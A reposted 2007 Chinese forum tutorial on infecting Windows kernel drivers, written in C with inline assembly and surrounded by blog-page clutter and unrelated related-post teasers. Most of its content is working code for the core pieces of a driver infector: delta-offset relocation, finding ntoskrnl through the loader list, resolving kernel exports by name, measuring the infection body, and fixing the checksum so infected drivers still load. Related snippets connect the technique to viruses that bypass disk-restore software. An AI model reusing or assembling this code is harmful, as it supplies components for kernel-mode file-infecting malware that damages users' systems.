驱动感染技术扫盲(C描述)

遗传算法进阶:适应度设计、收敛诊断与早熟根治 遗传算法(GA)作为经典进化计算方法,其核心价值不仅在于模拟自然选择的原理,更在于构建可控、可诊断、可复现的工程化优化闭环。理解适应度函数如何影响选择压力、种群熵如何表征多样性衰减、可行性比率如何引导约束处理,是突破‘调参玄学’的关键。本文聚焦工业落地中最常失效的三大环节——适应度函数设计陷阱、早熟现象根因分析、收敛性量化诊断,结合动态缩放、精英策略参数化、锦标赛选择自适应等实操方案,帮助开发者将GA从教学示例升级为稳定部署的智能优化模块。特别适用于多目标调度、供应链优化、参数寻优等强约束、高噪声、高维度的 阅读详情
作 者: 老Y
时 间: 2007-12-05,19:46
链 接: [url]http://bbs.pediy.com/showthread.php?t=56042[/url]

驱动感染技术扫盲(C描述)  
Writer By 老Y
上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。
好了,回归正题,很多年前(其实也就4, 5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
    call lbl_Next
lbl_Next:
    pop ebx
    sub ebx, 5
    sub ebx, offset Start

要访问全局数据就这样:Mov eax, dword ptr[ebx + GlobalData]
那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:
/**
*@brief 取得全局变量或函数重定位后的地址
*
*@param[in]    pVar 全局变量或函数的地址
*@return 返回全局变量或函数的实际地址
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
  PVOID pCurAddr = NULL;
  __asm
  {
Start:
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    sub eax, offset Start
    add eax, pVar
    mov pCurAddr, eax
  }
  return pCurAddr;
}

访问全局数据就成这样:pData = KGetGlobalVarAddr(&GlobalData);
2、引入表问题
得到ntoskrnl基址
大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32   
   +0x030 DriverStartIo    : Ptr32   
   +0x034 DriverUnload     : Ptr32   
   +0x038 MajorFunction    : [28] Ptr32   

其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:
+0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 Void
   +0x04c PatchInformation : Ptr32 Void

DllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵

通过遍历这张表得到ntoskrnl的基址和大小,如下

/**
*@brief 根据驱动模块名返回对应的映像基址和映像大小
*
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pulModuleSize 返回驱动模块的大小

*@return 返回0表示失败,其它值是驱动模块基址
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)
{
  ULONG ulModuleBase = 0;
  LIST_ENTRY *Entry = NULL;
  LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
  PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);

  Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
  do
  {
    DataTableEntry = CONTAINING_RECORD(Entry,
      LDR_DATA_TABLE_ENTRY,
      InLoadOrderLinks);
    if (DataTableEntry->EntryPoint &&
      DataTableEntry->BaseDllName.Buffer &&
      DataTableEntry->FullDllName.Buffer &&
      DataTableEntry->LoadCount
      )
    {

      if ( !KWcsNiCmp(
        DataTableEntry->BaseDllName.Buffer,
        pwszModuleName,
        DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
        )
        )
      {
        ulModuleBase = DataTableEntry->DllBase;
        if (pulModuleSize)
        {
          *pulModuleSize = DataTableEntry->SizeOfImage;
        }
        goto Exit0;
      }
    }

    Entry = Entry->Flink;

  }
  while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink);



Exit0:

  return ulModuleBase;
}
(注:也可以用上面的方法来枚举已经加载的驱动列表)


通过导出表取得函数地址

/**
*@brief 根据函数名返回函数对应的RVA地址
*
*@param[in]    pe PE对象
*@param[in]    Name 导出表内的函数名

*@return 返回表示失败,其它值是函数的RVA地址
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
  ULONG FuncRVA = 0;
  ULONG *puFuncNameAddress = 0;
  USHORT *puAddressOfOrd = 0;
  ULONG *puAddressOfFunc = 0;
  ULONG i = 0;
  USHORT Index = 0;
  PUCHAR pFuncName = NULL;
  ULONG FuncNameRVA = 0;


  PROCESS_ERROR(pe->pExportEntry);
  puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames +  pe->pMap);
  puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals +  pe->pMap);
  puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions +  pe->pMap);
  for (i = 0; i <  pe->pExportEntry->NumberOfNames; i++)
  {
    Index = puAddressOfOrd[i];

    FuncNameRVA = puFuncNameAddress[i];
    pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);

    if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
    {
      FuncRVA = puAddressOfFunc[Index];
      break;
    }

  }


Exit0:
  return FuncRVA;
}

/**
*@brief 根据内核映像初始一个PE对象
*
*@param[in]    Buffer 内核映像基址
*@param[in]    uFileSize 内核映像大小
*@param[out]  pe PE对象
*@return 返回STATUS_SUCCESS时成功,其它值为失败
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)
{
  int    nResult = STATUS_UNSUCCESSFUL;

  if (!pe)
  {
    goto Exit0;
  }

  pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
  pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer +  pe->pDosHdr->e_lfanew);
  pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
    pe->pDosHdr->e_lfanew +
    pe->pNtHdr->FileHeader.SizeOfOptionalHeader +

    0x18 + Buffer
    );

  pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
    );

  pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
    );

  pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
    Buffer +
    pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
    );

  pe->IsInitSuccessed = TRUE;
  pe->pMap = Buffer;
  pe->uMapSize = uFileSize;
  nResult = STATUS_SUCCESS;
Exit0:
  return nResult;
}

/**
*@brief 根据函数名得到函数的地址,可以理解为GetProcAddress
*
*@param[in]    pwszModuleName 驱动模块名
*@param[in]    pszFuncName 函数名

*@return 返回表示失败,其它值是函数的地址
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)
{
  int    nRetCode = FALSE;
  ULONG  ulApiAddr = 0;
  ULONG  ulNtosBase = 0;
  ULONG  ulNtosSize = 0;
  KPELIB  pe;

  

  ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
  if (!ulNtosBase)
  {
    goto Exit0;
  }

  nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
  if(!NT_SUCCESS(nRetCode))
  {
    goto Exit0;
  }

  ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
  if (!ulApiAddr)
  {
    goto Exit0;
  }

  ulApiAddr += ulNtosBase;

Exit0:

  return ulApiAddr;
}
使用示例:
WCHAR g_Ntoskrnl[] = L"ntoskrnl.exe";
CHAR  g_ApiName[] = "NtCreateFile";
pFunc = KGetApiAddr(
KGetGlobalVar(g_Ntoskrnl),
KGetGlobalVar(g_ApiName)
);
其它的不多说了,大家应该对这块是已经熟得不能再熟了^_^

3、感染体大小的取得
    我的解决方案是:
    在所有的代码和数据前面放置KGetStartAddr函数
/**
*@brief 取得当前函数的地址
*
*@return 返回当前函数的地址
*/
ULONG __declspec(naked) KGetStartAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    sub eax, 5
    ret
  }
}
在所有的代码和数据前面放置KGetEndAddr函数

/**
*@brief 取得当前函数末的地址
*
*@return 返回前函数末的地址
*/
ULONG __declspec(naked) KGetEndAddr()
{
  __asm
  {
    call lbl_Next
lbl_Next:
    pop eax
    add eax, 5
    ret
  }
}

感染体大小= KGetEndAddr() - KGetStartAddr()

4、把.data节和.text节合并
方法:
  把VC2005的工程属性Linker->Advanced->Merge Sections字段改成.data=.text

5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败
从2000源代码里A出来的,具体看源代码
6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿

 
关于穿透冰点还原等还原软件的方法 几种破解冰点的办法 阅读详情

相关推荐

CAT24C16 EEPROM的I²C页写与页读底层实现

I²C是一种广泛应用于嵌入式系统的双线同步串行通信协议,其核心在于严格的时序控制、地址寻址机制与主从应答逻辑。理解I²C总线物理层(上拉电阻、SCL/SDA电气特性)、协议层(START/STOP、ACK/NACK、7位地址格式)及外设寄存器操作(如SR1状态标志、CCR时钟分频),是实现可靠通信的基础。在实际工程中,EEPROM类器件(如CAT24C16)因其非易失性、页缓冲区结构和写保护(WP)功能,成为数据持久化关键载体;其16字节页写约束、内部写周期(5–10ms)与地址指针自动递增等特性,直接决定

weixin_42591413的博客 389

ring3下穿透磁盘还原技术揭秘

在写这篇文章之前我犹豫了很久,到底要不要把这些鲜为人知的方法公开了,因为一 旦公开,被人掌握这些技术,那么还原软件的脆弱性则一览无遗,网吧的机子应该就可以 随便的穿透,机器狗是需要加载驱动来进行穿透还原,而我介绍的这种技术不需要加载驱 动则可以穿透还原,你是不是听的有点兴奋,有点热血沸腾;但是我还是要告诉你,技术 是一把双刃剑,利用的好是安全软件,利用的邪恶就是***、病毒等...

weixin_33743880的博客 903

[比赛]新冠期间饿了么骑士行为预估-数据理解

写在前面 饿了么的比赛的赛题数据理解。 一、骑士行为数据 courier_id 骑士id wave_index 波次index tracking_id 订单id courier_wave_start_lng 波次起始时刻骑士位置 courier_wave_...

Helslie的博客 2944

驱动感染技术,可写穿透还原软件的病毒的技术

驱动感染技术,可写穿透还原软件的病毒的技术 用的正道上,可以写穿透还原软件的游戏更新软件! 标 题: 【原创】驱动感染技术扫盲(C描述)上周的上周的....周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那

rainbowsoftware 1000

COMSOL多物理场仿真:瓷绝缘子电热耦合建模与优化策略

本文详细介绍了使用COMSOL Multiphysics进行瓷绝缘子电热耦合仿真的完整流程与优化策略。文章阐述了电热耦合效应的工程意义,并逐步讲解了从几何建模、材料定义、物理场设置到边界条件与网格划分的关键步骤。重点分析了如何通过焦耳热耦合实现电场与温度场的双向交互,以及如何利用仿真结果进行参数化优化和瞬态故障模拟,为提升电力设备可靠性提供有效的数字化设计工具。

n8m7b6v5c4的博客 884

毕设分享|基于16单片机的指纹识别电子密码锁设计

我们今天的工作生活中,很多的场合都需要身份的认证,而传统的基于标志的身份认证技术由于受到证件伪造以及密码破解等手段的威胁,逐渐表现得有些力不从心。怎样保护自己的重要文件资料,如何保证自己的隐私不被泄露?在传统的身份认证中,我们往往使用密码加密法,但是这种方法只是"防君子不防小人"。在高明的黑客眼里,由几个字符组成的密码脆弱得不堪一击。现在,科技的发展让我们有了新的选择——生物识别技术。将生物识别技术应用于笔记本、门锁等方面,可以对文件、财产起保护作用,并且可以进行身份识别。

Sen_091的博客 1021

感染型病毒风险提醒:官方渠道或成传播链之一

网络购物如今已经成为了大部分人生活中不可或缺的消费渠道,其中各个平台的“官方店铺”更是不少人心目中可靠的最优选,我们常常对其信赖有加,潜意识里觉得从这里购买的商品,连同附带的产品或软件都是安全有保障的。然而,近期发生的这起事件,给我们敲响了警钟:即使是来自正规渠道的软件,也可能暗藏风险。一旦电脑中了感染型病毒,会出现正常使用的软件被频繁报毒的情况。该种病毒为多年前的病毒,具有感染、传播、后门、发送邮件等功能,虽然其远控服务器与邮件账号早已不再响应或有效,但还是具有一定的危险性,能够对用户产生干扰。

huoronganquan的博客 758

RagFlow 文档解析

RAGFlow 的设计哲学是“高质量输入,高质量输出”,它通过提供可解释性和可控性的生成结果,让用户能够信任并依赖于系统提供的答案。

weixin_43008312的博客 3999

一次电脑感染Synaptics Pointing Device Driver病毒的经历,分享下经验

不知道什么时候感染的病毒,搜索了下Synaptics Pointing Device Driver 是个感染型病毒,主要感染.exe和.xlsx文件,突然想起来之前有个excel文件打开后就变成xlsm格式文件,然后就打不开了。经过这次病毒感染和处理,之后下载软件别随便百度一个地址就下载,经常扫描电脑杀毒,看看有什么异常进程,尤其是开机变慢了,肯定有新的开机进程启动了。没想到作为使用电脑多年的老司机也会电脑中病毒,周末玩电脑的时候突然电脑很卡,然后自动重启,奇怪,之前没出现这个情况。再次扫描电脑硬盘正常。

sushengbuhuo的博客 4万+

OSG三维渲染引擎编程学习之一百:“第十一章:OSG粒子” 之 “11.1 粒子的主要模块”

OSG;三维渲染引擎编程学习;第十一章:OSG粒子;11.1 粒子的主要模块

LuckyHanMo的博客 802

手把手教你学Simulink——基于新型电力电子拓扑与宽禁带器件的电网系统场景实例:GaN HEMT器件在高频逆变器中的开关特性建模

本文介绍了基于Simulink和Simscape Electrical的GaN HEMT高频逆变器建模方法。通过构建半桥拓扑电路,详细说明了GaN器件参数设置(以EPC2045为例)、专用驱动电路设计(含负压关断和米勒钳位)以及开关瞬态过程仿真(配置1ns步长捕捉MHz级特性)。重点分析了开关损耗计算和寄生导通风险,并对比了GaN与Si MOSFET的性能差异。案例展示了如何优化驱动参数和PCB布局,验证了GaN器件在1MHz高频应用中的优势(开关损耗仅5μJ)。最后总结了GaN在数据中心电源、无线充电等领

MHD0815的博客 405

内核级HOOK的几种实现与应用

首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们 添加文章 English Version  文章分类  专题文章 漏洞分析 安全配置 黑客教学 编程技术 工具介绍 火墙技术 入侵检测 破解专题 焦点公告 焦点峰会  文章推荐  LSD RPC 溢出漏洞之分析 任意用户模式下执行 ring 0 代码 IIS的NSIISLOG.

ljtt的专栏 1227

Python爬虫教程:抓取短视频平台数据(以抖音和快手为例)

为什么抓取短视频平台数据?内容分析:通过抓取短视频平台上的视频内容、标题、标签等数据,可以进行内容分类、趋势分析、话题分析等。情感分析:抓取视频的评论数据,并进行情感分析,帮助企业或组织了解公众的情绪反馈。用户行为分析市场监测:通过抓取特定关键词或标签下的视频数据,分析市场趋势,进行竞争对手分析。短视频平台数据类型:视频信息:包括视频标题、描述、标签、作者等。用户信息:包括用户的昵称、粉丝数、关注数等。互动数据评论数据:视频下的用户评论内容及用户信息。

2201_76125261的博客 3664

计算机扫盲(下篇)

由于篇幅问题这篇文章被迫分成上下两篇建议反复上下对比着看,能应付生活中的使用就行。不是学操作系统的不用了解太深。实在不会就喂给ai帮你理解。逆向工程 = 通过分析程序的二进制文件,理解它的行为和逻辑。正常开发:源代码 → 编译 → 可执行文件 逆向工程:可执行文件 → 反汇编/反编译 → 理解逻辑5.2.1 指令与机器码1. 指令的组成 机器码格式(x86/x64):必会的汇编指令2. 常见寄存器3. 汇编代码中的栈重要观念:函数调用时生成的栈帧,在汇编层面根本不是一个必须存在的“结构”。, , , 等指

2504_94717629的博客 527

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

windows系统扫盲之--dll动态链接库概念

动态链接库 百科名片   动态链接库文件 动态链接库英文为DLL,是Dynamic Link Library 的缩写形式,DLL是一个包含可由多个程序同时使用的代码和数据的库,DLL不是可执行文件。动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的

2835

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

穿透还原12.1新变种病毒样本

中毒现象:双击不能打开盘符,如果双击次数过多,通过任务管理器会看到很多cmd在执行。最后系统CPU占用过高,最后死机。右键点击C盘或D盘后,右键菜单第一项为AUTO或打开或自动播发等 ,在下面会再有一个open。千万不要选第一个,选底下的open,打开C盘。在窗口上面的菜单中选Tools--Fold Options--view---Hide Protected operating system

oscar999的专栏 1545

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

重要警报:穿透系统还原卡的木马病毒出现

今天我已经遇到了许多Q群中蔓延着以下信息,看看啊. 我最近的照片~ 才扫描到QQ象册上的 ^_^ ! http://www.search_2.shtml.cgi-client-entry.photo.39pic.com/qq%xxxxxxE5†Œ2/"大家看到以后千万别点,会产生灾难性后果,值得注意的是,这个具有穿透性传染力的病毒可以抵御还原卡和还原软件的防护.Worm.Logo.b病毒“logo

冷血书生的专栏 3828

TDIfw在windows 10 1903的测试

最近看了一下TDI的网络过滤驱动,在Vista之后就不支持了,但是据说windows7还是能用,于是想试试在win10上还能不能玩。需要注意的是在win10上的TCP和UDP设备对象的驱动对象变成了tdx,于是有了下面的代码。 #include <Ntifs.h> #include <ntimage.h> #include <ntstrsafe.h> #include <Tdikrnl.h> #define MEM_TAG 'YCAI' #define

被遗弃的庸才博客 805

以驱动作为服务的病毒,很难清除

System Repair Engineer(SREng) AutoRuns v8.53 汉化版 unlocker(用于删除病毒文件) 费尔强制删除工具 纯DOS系统For 2000/xp 下载安装及使用教程(unlocker删除不成功时必备) (查找病毒文件须知,给菜鸟:打开我的电脑,点击工具--点文件夹选项--点击查看~~然后在找到隐藏文件和文件夹选项那里--点上“显示所...

dbjtimve93993的博客 885

[内核编程] 4.5 HOOK分发函数

4.5 HOOK分发函数 本节开始深入的探讨键盘的过滤与反过滤。有趣的是,无论是过滤还是反过 滤,其原理都是进行过滤。取胜的关键在于:谁将第一个得到信息。 黑客可能会通过修改一个已经存在的驱动对象(比如前面的KbdClass)的分 发函数指针来实现过滤所有请求的目的。黑客将这些函数指针替换成自己的黑客 驱动中的函数,这样请求将被黑客的程序首先截获。然后通过调用原来被替换过 的旧的...

weixin_30795127的博客 188

(转)一种可以穿透还原卡和还原软件的代码

一种可以穿透还原卡和还原软件的代码 一种可以穿透还原卡和还原软件的代码 CVC/GB 风般的男人 还原卡和还原软件被广泛运用于各种公共场合的电脑上,比如学校机房和网吧。这些还原卡和还原软件(以下我简称为虚拟还原技术)能够记录下一切对硬盘的写操作,不论您对硬盘进行拷贝还是移动删除甚至是格式化分区等操作,只要一重新启动,一切都会恢复到这个操作之前的情况,因此有些虚拟还原厂商还会在广告词中加上一句“可以

烟斗葛格 1929

常用的系统HOOK方法

1.HOOK SSDT表 // UN-protect memory __asm { push eax mov eax, CR0 and eax, 0FFFEFFFFh mov CR0, eax pop eax } // do something // RE-protect memory __asm { push

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 1172

使用windbg搜索命令辅助逆向杀软穿透驱动注册表操作

我们这里以腾讯的逆向TSSysKit.sys驱动举例。金山的对应的驱动是kisapi.sys 。360对应的是bapidrv.sys 1 逆向相关的注册表底层操作相关的函数 (驱动的大小) 1 s -d b21c4000 L2b000 nt!cmpcallbackcount; 2 s -d b21c4000 L2b000 nt!CmDeleteK...

weixin_30500105的博客 415

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 251
上一篇: check hidden process(ring0 PspCidTable)
下一篇: Kaspersky Anti-Virus Driver Decrypt code
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值